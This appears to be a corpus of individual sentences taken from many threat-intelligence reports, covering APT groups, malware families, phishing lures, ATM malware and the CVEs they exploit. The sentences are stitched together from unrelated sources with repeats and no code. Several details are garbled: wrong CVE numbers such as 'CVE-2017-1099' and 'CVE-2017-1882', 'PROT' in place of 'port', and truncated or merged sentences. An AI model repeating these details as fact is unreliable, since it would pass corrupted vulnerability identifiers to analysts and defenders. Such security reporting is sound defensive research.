Group-IB has uncovered a hacker group , MoneyTaker , attacking banks in the USA and Russia .
Group-IB reveals the unknown details of attacks from one of the most notorious APT groups , Lazarus .
Finally , Kaspersky produced a summary report on Sofacy’s summertime activity .
Kaspersky were also able to produce two reports on Korean speaking actors , specifically involving Scarcruft and Bluenoroff .
Analysis of the payload allowed us to confidently link this attack to an actor Kaspersky track as BlackOasis .
Kaspersky first became aware of BlackOasis’ activities in May 2016 , while investigating another Adobe Flash zero day .
It contains a Word document in plaintext ( written to Bienvenue_a_Sahaja_Yoga_Toulouse.doc ) , along with an executable ( Update.exe ) and DLL ( McUpdate.dll ) .
We identified decoy files which indicate these attacks began with spear phishing messages but have not observed the actual messages .
Additionally , these decoy documents are hosted on legitimate websites including a government website belonging to the Cambodia Government and in at least once case , Facebook .
However , the unique malware variant , BlackEnergy 3 , reemerged in Ukraine early in 2015 , where we had first found Sandworm Team .
The initial indicator of the attack was a malicious Web shell that was detected on an IIS server , coming out of the w3wp.exe process .
We have previously detected groups we suspect are affiliated with the North Korean government compromising electric utilities in South Korea , but these compromises did not lead to a disruption of the power supply .
Instead , sensitive KHNP documents were leaked by the actors as part of an effort to exaggerate the access they had and embarrass the South Korean Government , a technique we assess North Korea would turn to again in order to instill fear and/or meet domestic propaganda aims .
North Korea linked hackers are among the most prolific nation-state threats , targeting not only the U.S. and South Korea but the global financial system and nations worldwide .
The malware may inject itself into browser processes and explorer.exe .
In the last few weeks , FormBook was seen downloading other malware families such as NanoCore .
The vulnerability is bypassing most mitigations; however , as noted above , FireEye email and network products detect the malicious documents .
Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099 , the observed RTF attachments download .
In early May , the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE-2017-0199 .
In their current campaign , APT32 has leveraged ActiveMime files that employ social engineering methods to entice the victim into enabling macros .
APT32 actors continue to deliver the malicious attachments via spear-phishing emails .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
February saw three particularly interesting publications on the topic of macOS malware: a Trojan Cocoa application that sends system information including keychain data back to the attacker , a macOS version of APT28’s Xagent malware , and a new Trojan ransomware .
As early as March 4 , 2017 , malicious documents exploiting CVE-2017-0199 were used to deliver the LATENTBOT malware .
The first , st07383.en17.docx , continues by utilizing 32 or 64 bit versions of CVE-2017-0001 to escalate privileges before executing a final JavaScript payload containing a malware implant known as SHIRIME .
This vulnerability was found in a document named Trump's_Attack_on_Syria_English.docx .
To install and register the malicious shim database on a system , FIN7 used a custom Base64 encoded PowerShell script , which ran the sdbinst.exe” utility to register a custom shim database file containing a patch onto a system .
During the investigations , Mandiant observed that FIN7 used a custom shim database to patch both the 32-bit and 64-bit versions of services.exe” with their CARBANAK payload .
We have not yet identified FIN7’s ultimate goal in this campaign , as we have either blocked the delivery of the malicious emails or our FaaS team detected and contained the attack early enough in the lifecycle before we observed any data targeting or theft .
Figure 1 shows a sample phishing email used by HawkEye operators in this latest campaign .
Many groups leverage the regsvr32.exe application whitelisting bypass , including APT19 in their 2017 campaign against law firms .
The malware was initially distributed through a compromised software update system and then self-propagated through stolen credentials and SMB exploits , including the EternalBlue exploit used in the WannaCry attack from May 2017 .
The malware appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD to decrypt the data .
The malware then builds two DLLs in memory – they are 32 and 64-bit DLLs that have identical functionality .
The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments -m security .
The malware then writes the R resource data to the file C:\WINDOWS\tasksche.exe .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
The usefulness of flare-qdb can be seen in cases such as loops dealing with strings .
Attaching with IDA Pro via WinDbg as in Figure 11 shows that the program counter points to the infinite loop written in memory allocated by flare-qdb .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control ( C2 ) server .
The attachment in these emails is a weaponized Microsoft Office document containing a malicious macro that – when enabled – leads to the download of Hancitor .
After the executable is executed , it downloads Pony and Vawtrak malware variants to steal data .
Upon execution , it will communicate with an attacker-controller website to download a variant of the Pony malware , pm.dll” along with a standard Vawtrak Trojan .
In this blog , FireEye Labs dissects this new ATM malware that we have dubbed RIPPER and documents indicators that strongly suggest this piece of malware is the one used to steal from the ATMs at banks in Thailand .
RIPPER interacts with the ATM by inserting a specially manufactured ATM card with an EMV chip that serves as the authentication mechanism .
RIPPER will examine the contents of directories associated with the targeted ATM vendors and will replace legitimate executables with itself .
This malware family can be used to compromise multiple vendor platforms and leverages uncommon technology to access physical devices .
From our trend analysis seen in Figure 3 , Locky ransomware started being delivered via DOCM format email attachments more extensively beginning in August .
Discovered for the first time in Mexico back in 2013 , Ploutus enabled criminals to empty ATMs using either an external keyboard attached to the machine or via SMS message , a technique that had never been seen before .
FireEye Labs recently identified a previously unobserved version of Ploutus , dubbed Ploutus-D , that interacts with KAL’s Kalignite multivendor ATM platform .
The samples we identified target the ATM vendor Diebold .
This blog covers the changes , improvements , and Indicators of Compromise (IOC) of Ploutus-D in order to help financial organizations identify and defend against this threat .
Ploutus-D also allows the attackers to enter the amount to withdraw (billUnits – 4 digits) and the number of cycles (billCount – 2 digits) to repeat the dispensing operation (see Figure 10) .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
Since Ploutus-D interacts with the Kalignite Platform , only minor modifications to the Ploutus-D code may be required to target different ATM vendors worldwide .
The threat actors used two publicly available techniques , an AppLocker whitelisting bypass and a script to inject shellcode into the userinit.exe process .
The regsvr32.exe executable can be used to download a Windows Script Component file (SCT file) by passing the URL of the SCT file as an argument .
We observed implementation of this bypass in the macro code to invoke regsvr32.exe , along with a URL passed to it which was hosting a malicious SCT file .
There was code to download a decoy document from the Internet and open it in a second winword.exe process using the Start-Process cmdlet .
Ordnance will be able to immediately generate shellcode after users provide the IP and PROT that the shellcode should connect to or listen on .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
One of them – ipv4.dll – has been placed by the APT with what is , in fact , a downloader for other malicious components .
Written in pure C language , Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions , and carries out integrity control of various system components to avoid debugging and security detection .
First observed in mid-2014 , this malware shared code with the Bugat ( aka Feodo ) banking Trojan .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
Despite being an older vulnerability , many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word .
Whitefly first infects its victims using a dropper in the form of a malicious.exe or .dll file that is disguised as a document or image .
CraP2P has frequently been used to distribute other malware such as Locky and Dridex , but also supported large scale spam campaigns for dating advertisement and pump-and-dump scams after the demise of Kelihos .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
In fact , REDBALDKNIGHT has been targeting Japan as early as 2008 , based on the file properties of the decoy documents they've been sending to their targets .
In fact , REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008 — at least based on the file properties of the decoy documents they've been sending to their targets .
Carbanak is a backdoor used by the attackers to compromise the victim .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
The Korean-language Word document manual.doc appeared in Vietnam on January 17 , with the original author name of Honeybee .
This malicious document contains a Visual Basic macro that dropped and executed an upgraded version of the implant known as SYSCON , which appeared in 2017 in malicious Word documents as part of several campaigns using North Korea–related topics .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
The HTA files contained job descriptions and links to job postings on popular employment websites .
These emails included recruitment-themed lures and links to malicious HTML Application ( HTA ) files .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
Symantec detects this threat as Backdoor.Nidiran .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
According to Deepen , APT6 has been using spear phishing in tandem with malicious PDF and ZIP attachments or links to malware infected websites that contains a malicious SCR file .
Bellingcat also reported the domain had been used previously to host potential decoy documents as detailed in VirusTotal here using http://voguextra.com/decoy.doc .
We identified an overlap in the domain voguextra.com , which was used by Bahamut within their " Devoted To Humanity " app to host an image file and as C2 server by the PrayTime iOS app mentioned in our first post .
While not detected at the time , Microsoft 's antivirus and security products now detect this Barium malicious file and flag the file as " Win32/ShadowPad.A " .
MXI Player appears to be a version of the Bahamut agent , designed to record the phone calls and collect other information about the user ( com.mxi.videoplay ) .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
The first attack started in early July with a ShimRatReporter payload .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
Upon successful exploitation , the attachment will install the Trojan known as NetTraveler using a DLL side-loading attack technique .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
For example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP PROT 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name is Interenet Assistant.exe” .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
wuaupdt.exe is a CMD backdoor , which can receive and execute CMD commands sent from C2 .
Furthermore , it has similar code logic as previous ones wuaupdt.exe in this attack appears in previous Donot attack , and C2 addresses are same to previous ones .
Other open source and semi-legitimate pen-testing tools like nbtscan and powercat are being used for mapping available resources and lateral movement as well .
As described in the infection flow , one of the first uses of the AutoHotKey scripts is to upload a screenshot from the compromised PC .
Throughout our investigation , we have found evidence that shows operational similarities between this implant and Gamaredon Group .
The techniques and modules employed by EvilGnome — that is the use of SFX , persistence with task scheduler and the deployment of information stealing tools—remind us of Gamaredon Group’s Windows tools .
We can observe that the sample is very recent , created on Thursday , July 4As can be observed in the illustration above , the makeself script is instructed to run ./setup.sh after unpacking .
The ShooterAudio module uses PulseAudio to capture audio from the user's microphone .
makeself.sh is a small shell script that generates a self-extractable compressed tar archive from a directory .
The RAT , however , had a multitude of functionalities (as listed in the table below) such as to download and execute , compress , encrypt , upload , search directories , etc .
In a more recent version of the modified Gh0st RAT malware , Ghost Dragon implemented dynamic packet flags which change the first five bytes of the header in every login request with the controller .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 , when it was used in an attack against an educational institution in Hong Kong .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 , Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan ( Backdoor.Filensfer ) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools , information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool , EternalRomance , as well as EternalSynergy , can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victim computers .
this RTF exploits again the CVE-2017-1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
Today , this malware is still actively being used against the Philippines .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/Exfiltration tools supporting all major operating systems like Windows ( Bartender ) , MacOS ( JukeBox ) and Linux ( DanceFloor ) .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
